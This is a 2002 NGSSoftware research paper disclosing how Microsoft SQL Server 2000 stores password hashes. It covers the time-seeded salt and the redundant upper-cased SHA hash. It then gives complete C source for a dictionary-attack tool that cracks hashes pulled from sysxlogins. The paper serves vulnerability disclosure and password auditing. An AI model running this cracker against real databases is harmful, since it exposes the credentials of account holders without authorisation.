A NGSSoftware Insight Security Research Publication

Microsoft SQL Server Passwords

(Cracking the password hashes)

David Litchfield
(david@ngssoftware.com)
24th June 2002
www.ngssoftware.com

How does SQL Server store passwords?

SQL Server uses an undocumented function, pwdencrypt() to produce a hash of the user's password, which is stored in the sysxlogins table of the master database. This is probably a fairly common known fact. What has not been published yet are the details of the pwdencrypt() function. This paper will discuss the function in detail and show some weaknesses in the way SQL Server stores the password hash. In fact, as we shall see, later on I should be saying, 'password hashes'.

What does an SQL password hash look like?

Using Query Analyzer, or the SQL tool of your choice, run the following query

```
select password from master.dbo.sysxlogins where name='sa'
```

You should get something that looks similar to the following returned.

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B

This is the hash of the 'sa' login's password on my machine.

What can we derive from pwdencrypt() about the hash?

Time

The query

```
select pwdencrypt('foo')
```

produces

0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218969D09FFB97F5035CF7142521576

but several seconds later repeating the query

```
select pwdencrypt('foo')
```

produces

0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92F532819DC22ED6BE374591FAAF6C38A2EADAA57FDF

The two hashes are different and yet the input, ‘foo’, is the same. From this we can deduce that time must play an important part in the way password hashes are created and stored. The design reasons behind this will be such that if two people use the same password then their hashes will be different - thus disguising the fact that their passwords *are* the same.

Case

Run the query

```
select pwdencrypt('AAAAAA')
```

which produces

0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918D34B6A12C9CC9EF99C4769F819B

Now, we can note that there are probably two password hashes here. If you can't spot it immediately let me break it down

0x0100
84449305
43174C59CC918D34B6A12C9CC9EF99C4769F819B
43174C59CC918D34B6A12C9CC9EF99C4769F819B

As can be seen, the last 40 characters are the same as the penultimate 40 characters. This suggests that passwords are stores twice. One of them is the normal case sensitive password and the other is the upper-cased version of the password. This is not good as any one attempting to crack SQL passwords now has an easier job. Rather than having to break a case sensitive password they need only go after the upper-cased version. This reduces the number of characters they need to attempt considerably.

Clear Salt

From what we know already, that changes in time will produce a change in the hash, there must be something about time that makes the password hashes different and this information must be readily available so when someone attempts to login a comparison can be performed against the hash derived from the password they supply and the hash stored in the database. In the breakdown of results from pwdencrypt() above the 84449305 portion is this piece of information.

This number is derived in the following fashion. The time () C function is called and used as a seed passed to the srand() function. srand() sets a start point to be used for producing a series of (pseudo)random numbers. Once srand is seeded the rand() function is called to produce a pseudo random number. This number is an integer; however SQL server converts this to a short and sets it aside. Lets call this number SN1. The rand() function is called again producing another pseudo random integer which, again, is converted into a short. Let's call this number SN2. SN1 and SN2 are joined to produce an integer. SN1 becoming the most significant part and SN2 the least significant part : SN1:SN2 to produce a salt. This salt is then used to obscure the password.

Hashing the password

The user's password is converted to it's UNICODE version if not already in this form. The salt is then appended to the end. This is then passed to the crypt functions in advapi32.dll to produce a hash using the secure hashing algorithm or SHA. The password is then converted to its upper case form, the salt tacked onto the end and another SHA hash is produced.

0x0100 Constant Header
84449305 Salt from two calls to rand()
43174C59CC918D34B6A12C9CC9EF99C4769F819B Case Sensitive SHA Hash
43174C59CC918D34B6A12C9CC9EF99C4769F819B Upper Case SHA Hash

The Authentication Process

When a user attempts to authenticate to SQL Server several things happen to do this. Firstly SQL Server examines the password entry for this user in the database and extracts the "salt" - 84449305 - in the example. This is then appended to the password the user supplies when attempting to log in and a SHA hash is produced. This hash is compared with the hash in the database and if they match the user is authenticated - and of course if the compare fails then the login attempt fails.

SQL Server Password Auditing

This is done in the same manner that SQL Server attempts to authenticate users. Of course, by far the best thing to do is, first off, is attempt to brute force the hash produced from the upper-cased version. Once this has been guessed then it is trivial to workout the case sensitive password.

Source Code for a simple command line dictionary attack tool

```
//////////////////////////////////////////////////////////////////////////////
//
//      SQLCrackCl
//
//      This will perform a dictionary attack against the
//      upper-cased hash for a password. Once this
//      has been discovered try all case variant to work
//      out the case sensitive password.
//
//      This code was written by David Litchfield to
//      demonstrate how Microsoft SQL Server 2000
//      passwords can be attacked. This can be
//      optimized considerably by not using the CryptoAPI.
//
//      (Compile with VC++ and link with advapi32.lib
//      Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>



FILE *fd=NULL;
char *lerr = "\nLength Error!\n";

int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);

int main(int argc, char *argv[])
{
        int err = 0;
```

```
	if(argc !=3)
		{
			printf("\n\n*** SQLCrack  *** \n\n");
			printf("C:\\>%s hash passwd-file\n\n",argv[0]);
			printf("David Litchfield (david@ngssoftware.com)\n");
			printf("24th June 2002\n");
			return 0;
		}

	err = OpenPasswordFile(argv[2]);
	if(err !=0)
	 {
	   return printf("\nThere was an error opening the password file %s\n",argv[2]);
	 }
	err = CrackPassword(argv[1]);

	fclose(fd);
	printf("\n\n%d",wd);

	return 0;
}

int OpenPasswordFile(char *pwdfile)
{
	fd = fopen(pwdfile,"r");
	if(fd)
		return 0;
	else
		return 1;
}


int CrackPassword(char *hash)
{


	char phash[100]="";
	char pheader[8]="";
	char pkey[12]="";
	char pnorm[44]="";
	char pucase[44]="";
	char pucfirst[8]="";
	char wttf[44]="";
	char uwttf[100]="";
	char *wp=NULL;
	char *ptr=NULL;
	int cnt = 0;
	int count = 0;
	unsigned int key=0;
	unsigned int t=0;
	unsigned int address = 0;
	unsigned char cmp=0;
	unsigned char x=0;
	HCRYPTPROV hProv=0;
	HCRYPTHASH hHash;
```

```
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;



if(strlen(hash) !=94)
        {
                return printf("\nThe password hash is too short!\n");
        }

if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
        {
                hash = hash + 2;
                strncpy(pheader,hash,4);
                printf("\nHeader\t\t: %s",pheader);
                if(strlen(pheader)!=4)
                        return printf("%s",lerr);

                hash = hash + 4;
                strncpy(pkey,hash,8);
                printf("\nRand key\t: %s",pkey);
                if(strlen(pkey)!=8)
                        return printf("%s",lerr);


                hash = hash + 8;
                strncpy(pnorm,hash,40);
                printf("\nNormal\t\t: %s",pnorm);
                if(strlen(pnorm)!=40)
                        return printf("%s",lerr);

                hash = hash + 40;
                strncpy(pucase,hash,40);
                printf("\nUpper Case\t: %s",pucase);
                if(strlen(pucase)!=40)
                        return printf("%s",lerr);

                strncpy(pucfirst,pucase,2);

                sscanf(pucfirst,"%x",&cmp);
        }
else
        {
                return printf("The password hash has an invalid format!\n");
        }

printf("\n\n         Trying...\n");

if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL       ,0))
 {
        if(GetLastError()==NTE_BAD_KEYSET)
                {
                        // KeySet does not exist. So create a new keyset
                        if(!CryptAcquireContext(&hProv,
```

```
                                                NULL,
                                                NULL,
                                                PROV_RSA_FULL,
                                                CRYPT_NEWKEYSET ))
                                        {
                                                printf("FAILLLLLLL!!!");
                                                return FALSE;
                                        }


                        }


}

while(1)
        {

                        // get a word to try from the file
                        ZeroMemory(wttf,44);

                        if(!fgets(wttf,40,fd))
                          return printf("\nEnd of password file. Didn't find the password.\n");

                        wd++;

                        len = strlen(wttf);
                        wttf[len-1]=0x00;

                        ZeroMemory(uwttf,84);

                        // Convert the word to UNICODE
                        while(count < len)
                                {
                                        uwttf[cnt]=wttf[count];
                                        cnt++;
                                        uwttf[cnt]=0x00;
                                        count++;
                                        cnt++;
                                }
                        len --;

                        wp = &uwttf;
                        sscanf(pkey,"%x",&key);
                        cnt = cnt - 2;

                        // Append the random stuff to the end of
                        // the uppercase unicode password
                        t = key >> 24;
                        x = (unsigned char) t;

                        uwttf[cnt]=x;
                        cnt++;

                        t = key << 8;
                        t = t >> 24;
```

```
		x = (unsigned char) t;
		uwttf[cnt]=x;
		cnt++;


		t = key << 16;
		t = t >> 24;
		x = (unsigned char) t;

		uwttf[cnt]=x;
		cnt++;


		t = key << 24;
		t = t >> 24;
		x = (unsigned char) t;
		uwttf[cnt]=x;
		cnt++;

// Create the hash

if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
	{
		printf("Error %x during CryptCreatHash!\n", GetLastError());
		return 0;
	}

if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
	{
		printf("Error %x during CryptHashData!\n", GetLastError());
		return FALSE;
	}

CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);


// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
	{
		// If first byte matches try the rest
		ptr = pucase;
		cnt = 1;
		while(cnt < 20)
		{
			ptr = ptr + 2;
			strncpy(pucfirst,ptr,2);
			sscanf(pucfirst,"%x",&cmp);
			if(szhash[cnt]==cmp)
				cnt ++;
			else
			{
				break;
			}
		}
		if(cnt == 20)
		{
```

```
                                        // We've found the password
                                        printf("\nA MATCH!!! Password is %s\n",wttf);
                                        return 0;

                                }
                        }

                        count = 0;
                        cnt=0;



                }


        return 0;
}
```

NGSSoftware have created a GUI based SQL password cracker that does not use the CryptoAPI and is, consequently, much faster. For a trial version of this cracker please see http://www.nextgenss.com/products/ngssqlcrack.html.